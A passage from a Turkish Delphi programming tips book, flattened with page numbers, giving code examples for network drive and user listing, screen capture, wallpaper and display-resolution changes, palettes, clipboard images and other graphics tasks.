takvim.prevyear; takvimedit.text:=FormatDateTime('DD.MM.YYYY',takvim.CalendarD ate); end; 2:{- ay}begin takvim.prevmonth; takvimedit.text:=FormatDateTime('DD.MM.YYYY',takvim.CalendarD ate); end; 3:{+ yıl}begin takvim.nextmonth; takvimedit.text:=FormatDateTime('DD.MM.YYYY',takvim.CalendarD ate); end; 4:{+ ay} begin takvim.nextyear; takvimedit.text:=FormatDateTime('DD.MM.YYYY',takvim.CalendarD ate); end; 5:{kapat}begin datasource.dataset.edit; text:=FormatDateTime('DD.MM.YYYY',takvim.CalendarDate); fields[selectedindex].value:=text; datasource.dataset.post end; 6:{İptal}begin takvimkapat; end; end; end; initialization oneinstance:=false; end. DBNavigator butonlarına erişim unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, DBCtrls, DBNavigator1; type TForm1 = class(TForm) DBNavigator1: TDBNavigator; Button1: TButton; DBNavigator11: TDBNavigator1; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var
1490
Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); begin DBNavigator11.setbuttonenabled(nbfirst); end; end.
AĞ İŞLEMLERİ Bu bölümde, Delphi uygulamalarında gerekebilecek, ağ uygulamaları ve ağ erişimleri ile ilgili püf noktaları ve kod örnekleri yer almaktadır. Ağ sürücüleri Sistemde tanımlı olan ağ sürücülerinin listesini elde etmek için aşağıdaki fonksiyon kullanılabilir. unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; ListBox1: TListBox; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} function GetNetworkDriveMappings( sl : TStrings ) : integer; var i : integer; sNetPath : string; dwMaxNetPathLen : DWord; begin sl.Clear; dwMaxNetPathLen := MAX_PATH; SetLength( sNetPath, dwMaxNetPathLen ); for i := 0 to 25 do begin
1491
if( NO_ERROR = Windows.WNetGetConnection( PChar( '' + Chr( 65 + i ) + ':' ), PChar( sNetPath ), dwMaxNetPathLen ) )then begin sl.Add( Chr( 65 + i ) + ': ' + sNetPath ); end; end; Result := sl.Count; end; procedure TForm1.Button1Click(Sender: TObject); // // here's how to call GetNetworkDriveMappings(): // var sl : TStrings; nMappingsCount, i : integer; begin sl := TStringList.Create; nMappingsCount := GetNetworkDriveMappings( sl ); for i := 0 to nMappingsCount-1 do begin // //İstenen şeyler burada yapılabilir. // Şimdilik sadece görüntülensin // MessageBox( 0, PChar( sl.Strings[ i ] ), 'Tanımlı Ağ diskleri',MB_OK ); end; listbox1.items.assign(sl); sl.Free; end; end.
AĞ DA TANIMLI KULLANICILAR KİMLER? Ağ ortamındayken, aynı ağa giriş yapmaya yetkili kullanıcıların (bilgisayarların), isimlerini bulup getiren bir bileşene ait unit aşağıdadır. Kullanılabilmesi için, sisteme bileşen olarak tanımlanması gereklidir. Bunun için, Components | Install components menüsü kullanılır. unit NetUsers; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type TNetUsers = class(TComponent) private { Private declarations }
1492
fServer : String; protected { Protected declarations } Procedure SetServer(Server : String); public { Public declarations } UserList: TStringList; Constructor Create(Owner:TComponent); override; Destructor Destroy; override; Function Execute : Boolean; published { Published declarations } property Server :String read fServer write SetServer; end; PnetResourceArr = ^TNetResource; procedure Register; implementation Procedure TNetUsers.SetServer(Server : String); Begin If fServer <> Server Then fServer := Server; End; Constructor TNetUsers.Create(Owner:TComponent); Begin Inherited Create(Owner); If Not ( csDesigning in ComponentState ) Then Begin UserList := TStringList.Create; UserList.Sorted := True; End; End; Destructor TNetUsers.Destroy; Begin If Not( csDesigning in ComponentState ) Then UserList.Destroy; Inherited Destroy; End; Function TNetUsers.Execute : Boolean; Var NetResource: TNetResource; Buf:Pointer; Count, BufSize, Res: DWORD; i : Integer; lphEnum: THandle; p : PnetResourceArr; Begin Execute := False; UserList.Clear; GetMem(Buf, 8192); Try FillChar(NetResource, SizeOf(NetResource), 0); NetResource.lpRemoteName := PChar(fServer); NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER; NetResource.dwUsage := RESOURCEUSAGE_CONTAINER; NetResource.dwScope := RESOURCETYPE_DISK;
1493
Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum); If Res <> 0 then Exit; While true do Begin Count := -1; BufSize := 8192; Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize); If Res = ERROR_NO_MORE_ITEMS then Exit; If (Res <> 0) then Exit; p := PNetResourceArr(Buf); For i := 0 to Count - 1 do Begin { Ağdaki kullanıcı isimlerini Userlist listesine ekle} UserList.Add(p^.lpRemoteName + 2); Inc(p); End; End; Res := WNetCloseEnum(lphEnum); If Res <> 0 then Raise Exception(Res); Finally FreeMem(Buf); Execute := True; End; End; procedure Register; begin RegisterComponents('Sil', [TNetUsers]); end; end. //kullanımı { procedure TForm1.Button1Click(Sender: TObject); begin NETUSERS1.EXECUTE; listbox1.items.assign(netusers1.userlist) end;} Tanımlı ağ sürücüleri unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; ListBox1: TListBox; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end;
1494
var Form1: TForm1; implementation {$R *.DFM} function GetNetworkDriveMappings( sl : TStrings ) : integer; var i : integer; sNetPath : string; dwMaxNetPathLen : DWord; begin sl.Clear; dwMaxNetPathLen := MAX_PATH; SetLength( sNetPath, dwMaxNetPathLen ); for i := 0 to 25 do begin if( NO_ERROR = Windows.WNetGetConnection( PChar( '' + Chr( 65 + i ) + ':' ), PChar( sNetPath ), dwMaxNetPathLen ) )then begin sl.Add( Chr( 65 + i ) + ': ' + sNetPath ); end; end; Result := sl.Count; end;
procedure TForm1.Button1Click(Sender: TObject); var sl : TStrings; nMappingsCount, i : integer; begin sl := TStringList.Create; nMappingsCount := GetNetworkDriveMappings( sl ); for i := 0 to nMappingsCount-1 do begin MessageBox( 0, PChar( sl.Strings[ i ] ), 'Network sürücü tanımları', MB_OK ); end; listbox1.items.assign(sl); sl.Free; end; end.
SES VE GRAFİK İŞLEMLERİ 1495
Bu bölümde, delphi uygulamalarında yapılabilecek ses ve grafik işlemleri ile ilgili püf noktaları ve kod örnekleri yer almaktadır. Farklı çizgiler TForm1 = class(TForm) procedure FormCreate(Sender: TObject); procedure FormPaint(Sender: TObject); public DrawNow : Integer; end; var Form1: TForm1; procedure DrawPoint(x,y : Integer;lpData : LParam); stdcall; implementation {$R *.DFM} procedure DrawPoint(x,y : Integer;lpData : LParam); begin with TObject(lpData) as TForm1 do begin if DrawNow mod 4 = 0 then Canvas.Rectangle(x-2,y-2,x+3,y+3); Inc(DrawNow); end; end; procedure TForm1.FormCreate(Sender: TObject); begin DrawNow := 0; end; procedure TForm1.FormPaint(Sender: TObject); begin LineDDA(0,0,Width,Height,@DrawPoint,Integer(Self)); end;
StringGrid içerisinde BMP Şekil 5 : StringGrid bileşeni içerisinde BMP gösterimi bmpinsgrd.Pas dosyası; unit bmpinsgrd; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,Grids; type TForm1 = class(TForm) StringGrid1: TStringGrid; procedure StringGrid1DrawCell(Sender: TObject; Col, Row: Integer; Rect: TRect; State: TGridDrawState); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private Bmp : TBitmap; public
1496
{ Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} {$R BMPS.RES} procedure TForm1.StringGrid1DrawCell(Sender: TObject; Col, Row: Integer; Rect: TRect; State: TGridDrawState); var SRect,DRect : TRect; begin (Sender as TStringGrid).Canvas.FillRect(Rect); if (Sender as TStringGrid).Cells[Row,Col] = '@' then begin SRect := Classes.Rect(0,0,Bmp.Width,Bmp.Height); DRect.Left := Rect.Left+3; DRect.Top := Rect.Top+(Rect.Bottom-Rect.Top-Bmp.Height) div 2; DRect.Right := DRect.Left+SRect.Right+1; DRect.Bottom := DRect.Top+SRect.Bottom+1; (Sender as TStringGrid).Canvas.BrushCopy( DRect,Bmp,SRect,clOlive); end; end; procedure TForm1.FormCreate(Sender: TObject); begin Bmp := TBitmap.Create; Bmp.LoadFromResourceName(HInstance,'BMP'); StringGrid1.Cells[1,1] := '@'; StringGrid1.Cells[3,1] := '@'; end; procedure TForm1.FormDestroy(Sender: TObject); begin Bmp.Free; end; end. bmpinsgrd.DFM dosyası; object Form1: TForm1 Left = 200 Top = 108 Width = 310 Height = 258 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] OnCreate = FormCreate OnDestroy = FormDestroy PixelsPerInch = 96 TextHeight = 13 object StringGrid1: TStringGrid Left = 8 Top = 8
1497
Width = 289 Height = 217 TabOrder = 0 OnDrawCell = StringGrid1DrawCell ColWidths = ( 64 70 52 47 40) RowHeights = ( 24 79 24 66 12) end end Tonlamalı(Gradient) Form procedure TForm1.FormPaint(Sender: TObject); const N=100; var Y:Integer; Cl:TColor; begin for Y:=0 to N-1 do with Canvas do begin Cl:=RGB(0,0,Round(50+205*(Y/N))); Pen.Color:=Cl; Brush.Color:=cl; Rectangle(0,Round(ClientHeight*(Y/N)),ClientWidth,Round(Clien tHeight*((Y+1)/N))); end; end; procedure TForm1.FormResize(Sender: TObject); begin Invalidate; end;
EKRAN YAKALAMA Masaüstü görüntüsünün yakalanıp, form üzerine aktarılması; procedure Tform1.GrabScreen; var DeskTopDC: HDc; DeskTopCanvas: TCanvas; DeskTopRect: TRect; begin DeskTopDC := GetWindowDC(GetDeskTopWindow); DeskTopCanvas := TCanvas.Create; DeskTopCanvas.Handle := DeskTopDC; DeskTopRect := Rect(0,0,Screen.Width,Screen.Height); Canvas.CopyRect(DeskTopRect,DeskTopCanvas,DeskTopRect); ReleaseDC(GetDeskTopWindow,DeskTopDC); end; veya;
1498
var width, height : word; desktop : HDC; begin width := Screen.Width; height := Screen.Height; desktop := GetWindowDC(GetDesktopWindow); Image1.Picture.Bitmap.Width := width; Image1.Picture.Bitmap.Height := height; BitBlt( Image1.Picture.Bitmap.Canvas.Handle, 0, 0, width, height, desktop, 0, 0, SRCCOPY ); end;
BİR RESMİ, BMP FORMATINDAN JPEG FORMATINA ÇEVİRME var bmp : TImage; jpg : TJpegImage; begin bmp := TImage.Create(nil); jpg := TJpegImage.Create; bmp.picture.bitmap.LoadFromFile ( 'c:\picture.bmp' ); jpg.Assign( bmp.picture.bitmap ); jpg.SaveToFile ( 'c:\picture.jpg' ); jpg.Free; bmp.Free; end;
DUVAR KAĞIDI DEĞİŞTİRME Programınızın çalışması esnasında, arzu ettiğiniz bir duvar kağıdının kullanılmasını ister misiniz? İşte bunu halletmenin yolu… procedure TForm1.FormCreate(Sender: TObject); var Reg: TRegIniFile; begin Reg := TRegIniFile.Create('Control Panel'); Reg.WriteString('desktop', 'Wallpaper', 'c:\windows\forest.bmp'); Reg.WriteString('desktop', 'TileWallpaper', '1'); Reg.Free; SystemParametersInfo(SPI_SETDESKWALLPAPER,0, nil, SPIF_SENDWININICHANGE); end;
SİSTEMİN KULLANABİLECEĞİ RENK SAYISININ BULUNMASI Garfik işlemleri yaparken, sistemde geçerli olan renk ayarına ihtiyaç olabilir. Aşağıdaki fonksiyon sistemin desteklemekte olduğu renk sayısını bulmaktadır. function GetColorsCount : integer; var h : hDC; begin Result := 0; try
1499
h := GetDC( 0 ); Result :=1 shl (GetDeviceCaps(h, PLANES) * GetDeviceCaps(h, BITSPIXEL)); finally ReleaseDC( 0, h ); end; end;
DBGRİD ALANLARININ RENKLENDİRİLMESİ TDBGrid bileşeninde gösterilen bilginin, daha kolay okunabilmesi, ve kullanıcının dikkatinin bazı özel durumlara çekilebilmesi için, hücreleri renklendirmek faydalı olabilir. procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState); var holdColor: TColor; begin holdColor := DBGrid1.Canvas.Brush.Color if Column.FieldName = 'EmpNo' then if (Column.Field.AsInteger mod 2 0) then begin DBGrid1.Canvas.Brush.Color := clGreen; DBGrid1.DefaultDrawColumnCell(Rect, DataCol, Column, State); DBGrid1.Canvas.Brush.Color := holdColor; end; end;
LİSTBOX BİLEŞENLERİNDE RENKLİ SATIRLAR Bir Tlistbox içerisinde bulunan satırların, belli şartlara göre farklı renklerde olması mümkündür. Aşağıdaki kod örneğinde bunun yapılışı gösterilmektedir. Dikkat edilmesi gereken en önemli husus, Listbox bileşeninin Style özelliği lbOwnerDrawFixed olmalıdır. //Style= lbOwnerDrawFixed olmalı… procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer; Rect: TRect; State: TOwnerDrawState); begin With ( Control As TListBox ).Canvas Do Begin Case Index Of 0: Begin Font.Color := clBlue; Brush.Color := clYellow; End; 1: Begin Font.Color := clRed; Brush.Color := clLime; End; 2: Begin Font.Color := clGreen; Brush.Color := clFuchsia; End; End;
1500
FillRect(Rect); TextOut(Rect.Left, Rect.Top, ( Control As TListBox ).Items[Index]); End; end;
RENK PALETLERİNİN YARATILMASI VE KULLANIMI Delphi uygulamasında çizim yapılırken, gereken paletin yaratılması ve kullanılması nasıl olur? Eğer palet değiştirme yolu ile animasyon yapılacaksa, en az 256 renk modunda çalışılmalı ve, aşağıdaki kod örneğinde geçen bütün PC_NOCOLLAPSE değerleri PC_RESERVED olarak değiştirilmelidir. Palet yaratmanın yanı sıra, yapılması gereken diğer işlemler de şunlardır. · Formun GetPalette davranışı,yeni paleti döndürecek şekilde değiştirilmelidir. · Boyamaya başlamadan hemen önce, yeni palet seçilmelidir. OldPal := SelectPalette(Canvas.Handle, NewPalette, False); RealizePalette(Canvas.Handle); SelectPalette(Canvas.Handle, OldPal, False); · İşlem tamamlandıktan sonra palet yok edilmelidir. · Renk değeri almak için, RGB fonksiyonu yerine PaletteRGB fonksiyonu kullanılmalıdır. function CreateIdentityPalette(const aRGB; nColors : Integer) : HPALETTE; type QA = Array[0..255] of TRGBQUAD; var Palette : PLOGPALETTE; PalSize : Word; ScreenDC : HDC; I : Integer; nStaticColors : Integer; nUsableColors : Integer; begin PalSize := SizeOf(TLOGPALETTE) + SizeOf(TPALETTEENTRY) * 256; GetMem(Palette, PalSize); try with Palette^ do begin palVersion := $0300; palNumEntries := 256; ScreenDC := GetDC(0); try if (GetSystemPaletteUse(ScreenDC) = SYSPAL_NOSTATIC) then begin {$R-} for i := 0 to (nColors-1) do with palPalEntry[i], QA(aRGB)[I] do begin peRed := rgbRed; peGreen := rgbGreen; peBlue := rgbBlue; peFlags := PC_NOCOLLAPSE; end; for i := nColors to 255 do palPalEntry[i].peFlags := PC_NOCOLLAPSE; I := 255; with palPalEntry[i] do begin peRed := 255; peGreen := 255;
1501
peBlue := 255; peFlags := 0; end; with palPalEntry[0] do begin peRed := 0; peGreen := 0; peBlue := 0; peFlags := 0; end; {$R+} end else begin nStaticColors := GetDeviceCaps(ScreenDC, NUMRESERVED); GetSystemPaletteEntries(ScreenDC, 0, 256, palPalEntry); {$R-} nStaticColors := nStaticColors shr 1; for i:= 0 to (nStaticColors-1) do palPalEntry[i].peFlags := 0; nUsableColors := nColors - nStaticColors; for I := nStaticColors to (nUsableColors-1) do with palPalEntry[i], QA(aRGB)[i] do begin peRed := rgbRed; peGreen := rgbGreen; peBlue := rgbBlue; peFlags := PC_NOCOLLAPSE; end; for i := nUsableColors to (255-nStaticColors) do palPalEntry[i].peFlags := PC_NOCOLLAPSE; for i := (256 - nStaticColors) to 255 do palPalEntry[i].peFlags := 0; end; finally ReleaseDC(0, ScreenDC); end; end; Result := CreatePalette(Palette^); finally FreeMem(Palette, PalSize); end; end; procedure ClearSystemPalette; var Palette : PLOGPALETTE; PalSize : Word; ScreenDC : HDC; I : Word; const ScreenPal : HPALETTE = 0; begin PalSize := SizeOf(TLOGPALETTE) + SizeOf(TPALETTEENTRY) * 255; GetMem(Palette, PalSize); try FillChar(Palette^, PalSize, 0);
1502
Palette^.palVersion := $0300; Palette^.palNumEntries := 256; {$R-} For I := 0 to 255 do With Palette^.palPalEntry[I] do peFlags := PC_NOCOLLAPSE; {$R+} ScreenDC := GetDC(0); try ScreenPal := CreatePalette(Palette^); if ScreenPal <> 0 then begin ScreenPal := SelectPalette(ScreenDC,ScreenPal,FALSE); RealizePalette(ScreenDC); ScreenPal := SelectPalette(ScreenDC,ScreenPal,FALSE); DeleteObject(ScreenPal); end; finally ReleaseDC(0, ScreenDC); end; finally FreeMem(Palette, PalSize); end; end;
MÜZİK CD Sİ ÇALINIRKEN, TRACK SAYISININ OKUNMASI Çalınmakta olan müzik CD'sinin, hangi Track da olduğunun anlaşılması için aşağıdaki kod örneği kullanılabilir. unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, MPlayer,mmsystem; type TForm1 = class(TForm) Timer1: TTimer; Label1: TLabel; Label2: TLabel; MediaPlayer1: TMediaPlayer; procedure Timer1Timer(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation
1503
{$R *.DFM} procedure TForm1.Timer1Timer(Sender: TObject); var Trk, Min, Sec: Word; begin with MediaPlayer1 do begin Trk:= MCI_TMSF_TRACK(Position); Min:=MCI_TMSF_MINUTE(Position); Sec:=MCI_TMSF_SECOND(Position); Label1.Caption:=Format('%.2d',[Trk]); Label2.Caption:=Format('%.2d:%.2d',[Min,Sec]); end; end; end.
EKRAN ÇÖZÜNÜRLÜĞÜ DEĞİŞTİRME Bilgisayarda kullanılan ekran çözünürlüğü değerleri, normalde masa üstüne sağ fare tuşu ile tıklanarak açılan PopUp menüden, özellikler seçeneği kullanılarak yapılır. Bu işlemin kod ile yapılması gerekirse; Desteklenen ekran çözünürlükleri şu şekilde tespit edilebilir. unit unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; Edit1: TEdit; ListBox1: TListBox; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); var DC : THandle; Bits : Integer; HRes : Integer; VRes : Integer; DM : TDevMode; ModeNum : LongInt; Ok : Bool; begin DC := Canvas.Handle; Bits := GetDeviceCaps(DC, BITSPIXEL); HRes := GetDeviceCaps(DC, HORZRES); VRes := GetDeviceCaps(DC, VERTRES); Edit1.Text := Format('%d bits, %d x %d',[Bits, HRes, VRes]);
1504
ModeNum := 0; EnumDisplaySettings(Nil, ModeNum, DM); ListBox1.Items.Add(Format('%d bits, %d x %d', [DM.dmBitsPerPel, DM.dmPelsWidth, DM.dmPelsHeight])); Ok := True; While Ok do Begin Inc(ModeNum); Ok := EnumDisplaySettings(Nil, ModeNum, DM); If Ok Then ListBox1.Items.Add(Format('%d bits, %d x %d', [DM.dmBitsPerPel, DM.dmPelsWidth, DM.dmPelsHeight])); End; end; end. Çözünürlükleri listelemenin bir adım ilerisi, istenen çözünürlüğü seçip uygulamaktır. Aşağıdaki unit de tespit edilen çözünürlüklerden seçilen sisteme uygulanmaktadır. Ubit1Pas. unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) ListBox1: TListBox; Button1: TButton; procedure FormCreate(Sender: TObject); procedure ListBox1Click(Sender: TObject); procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); var i : Integer; DevMode : TDevMode; begin i := 0; while EnumDisplaySettings(nil,i,Devmode) do begin with Devmode do ListBox1.Items.Add(Format('%dx%d %d Colors',[dmPelsWidth,dmPelsHeight,1 shl dmBitsperPel])); Inc(i); end; end;
1505
procedure TForm1.ListBox1Click(Sender: TObject); begin Button1.Enabled := Listbox1.ItemIndex >= 0; end; procedure TForm1.Button1Click(Sender: TObject); var DevMode : TDevMode; begin EnumDisplaySettings(nil,Listbox1.ItemIndex,Devmode); ChangeDisplaySettings(DevMode,0); end; end. Unit1.dfm object Form1: TForm1 Left = 334 Top = 191 Width = 306 Height = 320 Caption = 'Ekran çözünürlükleri' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'MS Sans Serif' Font.Style = [] OnCreate = FormCreate PixelsPerInch = 120 TextHeight = 16 object ListBox1: TListBox Left = 20 Top = 10 Width = 267 Height = 218 ItemHeight = 16 TabOrder = 0 OnClick = ListBox1Click end object Button1: TButton Left = 110 Top = 241 Width = 92 Height = 32 Caption = 'Değiştir' Enabled = False TabOrder = 1 OnClick = Button1Click end end
BMP RESMİNİN PANOYA YAPIŞTIRILMSI VE PANODAN KOPYALAMASI Pano kullanımının bir başka örneğinin uygulandığı, kod örneğinde, BMP formatındaki bir resmin, panoya kopyalanması ve panodan alınması gösterilmektedir. Unit1.pas unit Unit1; interface
1506
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, clipbrd; type TForm1 = class(TForm) BaseKeyPanel: TPanel; Image2: TImage; Button1: TButton; Image1: TImage; Button2: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); Var BitMap : TBitmap; begin BitMap:=TBitMap.Create; BitMap.Height:=BaseKeyPanel.Height; BitMap.Width:=BaseKeyPanel.Width; BitBlt(BitMap.Canvas.Handle, 0 {Left}, 0{Top}, BaseKeyPanel.Width, image1.Height, GetDC(BaseKeyPanel.Handle), 0, 0, SRCCOPY); Clipboard.Assign(BitMap); bitmap.free; End; procedure TForm1.Button2Click(Sender: TObject); Var BitMap : TBitmap; begin BitMap:=TBitMap.Create; bitmap.assign(clipboard); Image2.Canvas.Draw(0, 0, Bitmap); bitmap.free; end; end. Form1.dfm object Form1: TForm1 Left = 200 Top = 111 Width = 554 Height = 316 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText
1507
Font.Height = -13 Font.Name = 'MS Sans Serif' Font.Style = [] PixelsPerInch = 120 TextHeight = 16 object Image2: TImage Left = 184 Top = 64 Width = 105 Height = 105 end object BaseKeyPanel: TPanel Left = 48 Top = 80 Width = 105 Height = 81 Caption = 'BaseKeyPanel' TabOrder = 0 object Image1: TImage Left = 1 Top = 1 Width = 103 Height = 79 Align = alClient end end object Button1: TButton Left = 48 Top = 32 Width = 75 Height = 25 Caption = 'Button1' TabOrder = 1 OnClick = Button1Click end object Button2: TButton Left = 192 Top = 32 Width = 75 Height = 25 Caption = 'Button2' TabOrder = 2 OnClick = Button2Click end end
BİR EXE DEKİ İKONUN ALINP BAŞKA BİR YERE ÇİZİLMESİ Herhangi bir program dosyasında kullanılan ikonun, alınmasını sağlayan bir fonksiyon. implementation USES ShellApi; {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); var IconIndex : word; h : hIcon;
1508
begin IconIndex := 0; h := ExtractAssociatedIcon(hInstance, 'C:\WINDOWS\NOTEPAD.EXE', IconINdex); DrawIcon(Form1.Canvas.Handle, 10, 10, h); end; end.
İKON RESMİNİN, BUTON ÜZERİNDE KULLANILMASI Not : image bileşenlerinin picture bilgileri, silinmiştir. object Form1: TForm1 Left = 200 Top = 108 Width = 278 Height = 372 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] PixelsPerInch = 96 TextHeight = 13 object SpeedButton1: TSpeedButton Left = 8 Top = 16 Width = 65 Height = 57 end object FileListBox1: TFileListBox Left = 80 Top = 16 Width = 169 Height = 313 ItemHeight = 13 TabOrder = 0 OnClick = FileListBox1Click end end unit1.pas unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Buttons, StdCtrls, FileCtrl; type TForm1 = class(TForm) FileListBox1: TFileListBox;
1509
SpeedButton1: TSpeedButton; procedure FileListBox1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses shellapi; {$R *.DFM} procedure TFORM1.FileListBox1Click(Sender: TObject); var MyIcon: TIcon; MyBitMap : TBitmap; strFileName:STRING; cStrFileName:PCHAR; begin MyIcon := TIcon.Create; MyBitMap := TBitmap.Create; try
{ get the file name and the icon associated with it} strFileName := FileListBox1.Items[FileListBox1.ItemIndex]; StrPCopy(cStrFileName, strFileName); MyIcon.Handle := ExtractIcon(hInstance, cStrFileName, 0); { draw the icon onto the bitmap for the speed button } SpeedButton1.Glyph := MyBitMap; SpeedButton1.Glyph.Width := MyIcon.Width; SpeedButton1.Glyph.Height := MyIcon.Height; SpeedButton1.Glyph.Canvas.Draw(0,0, MyIcon);
finally MyIcon.Free; MyBitMap.Free; end; end; end. Grafik çizme işlemi Unit1.pas unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls; type TForm1 = class(TForm) Image1: TImage; Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } procedure grapf; end;
1510
var Form1: TForm1; implementation {$R *.DFM} procedure tform1.grapf; var x,l: Integer; y,a: Double; begin Image1.Picture.Bitmap := TBitmap.Create; Image1.Picture.Bitmap.Width := Image1.Width; Image1.Picture.Bitmap.Height := Image1.Height; {These three lines could go in Form1.Create instead} l := Image1.Picture.Bitmap.Width; for x := 0 to l do begin a := (x/l) * 2 * Pi; {Convert position on X to angle between 0 & 2Pi} y := Sin(a); {Your function would go here} y := y * (Image1.Picture.Bitmap.Height / 2); {Scale Y so it fits} y := y * -1; {Invert Y, the screen top is 0 !} y := y + (Image1.Picture.Bitmap.Height / 2); {Add offset for middle 0} Image1.Picture.Bitmap.Canvas.Pixels[Trunc(x), Trunc(y)] := clBlack; end; end; procedure TForm1.Button1Click(Sender: TObject); begin grapf end; end. Hareketli grafik çizimi Unit1.pas unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls; type TForm1 = class(TForm) Button1: TButton; PaintBox1: TPaintBox; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end;
1511
var Form1: TForm1; BitMap : TBitmap; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Bitmap := TBitmap.Create; Bitmap.Width := 400; Bitmap.Height := 400; PaintBox1.Width := 200; PaintBox1.Height := 200; With Bitmap.Canvas do begin Pen.Color := clNavy; Ellipse(0,0,399,399); end; end; procedure TForm1.FormDestroy(Sender: TObject); begin Bitmap.Free; end; procedure TForm1.Button1Click(Sender: TObject); var Limit : Word; I : Word; PBBottom, PBRight : Word; begin PBBottom := PaintBox1.Height - 1; PBRight := PaintBox1.Width - 1; Limit := Bitmap.Width - PaintBox1.Width; For I := 0 to Limit do PaintBox1.Canvas.CopyRect(Rect(0,0,PBRight,PBBottom), Bitmap.Canvas, Rect(I,0,I+PBRight,PBBottom)); end; end. Unit1.dfm object Form1: TForm1 Left = 200 Top = 108 Width = 240 Height = 238 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] OnCreate = FormCreate OnDestroy = FormDestroy PixelsPerInch = 96 TextHeight = 13 object PaintBox1: TPaintBox
1512
Left = 64 Top = 24 Width = 105 Height = 105 end object Button1: TButton Left = 80 Top = 144 Width = 75 Height = 25 Caption = 'Button1' TabOrder = 0 OnClick = Button1Click end end
PANOYA RESİM KOPYALAMA bütün formu panoya kopyalar procedure TForm1.Button2Click(Sender: TObject); //uses clipbrd Var Image : TImage; BitMap : TBitmap; Begin Image:=TImage.Create(Self); BitMap:=TBitMap.Create; BitMap.Width:=ClientWidth; BitMap.Height:=ClientHeight; BitBlt(BitMap.Canvas.Handle, 0, 0, ClientWidth, ClientHeight, GetDC(Handle), 0, 0, SRCCOPY); Image.Picture.Graphic:=BitMap; Clipboard.Assign(Image.Picture); BitMap.Free; Image.Free end;
BİR RESMİN ŞEFFAF OLARAK BAŞKA BİR RESİM ÜZERİNE YAPIŞTIRILMASI Unit1.pas unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls; type TForm1 = class(TForm) Button1: TButton; Image1: TImage; ColorDialog1: TColorDialog; Panel1: TPanel; Button2: TButton;
1513
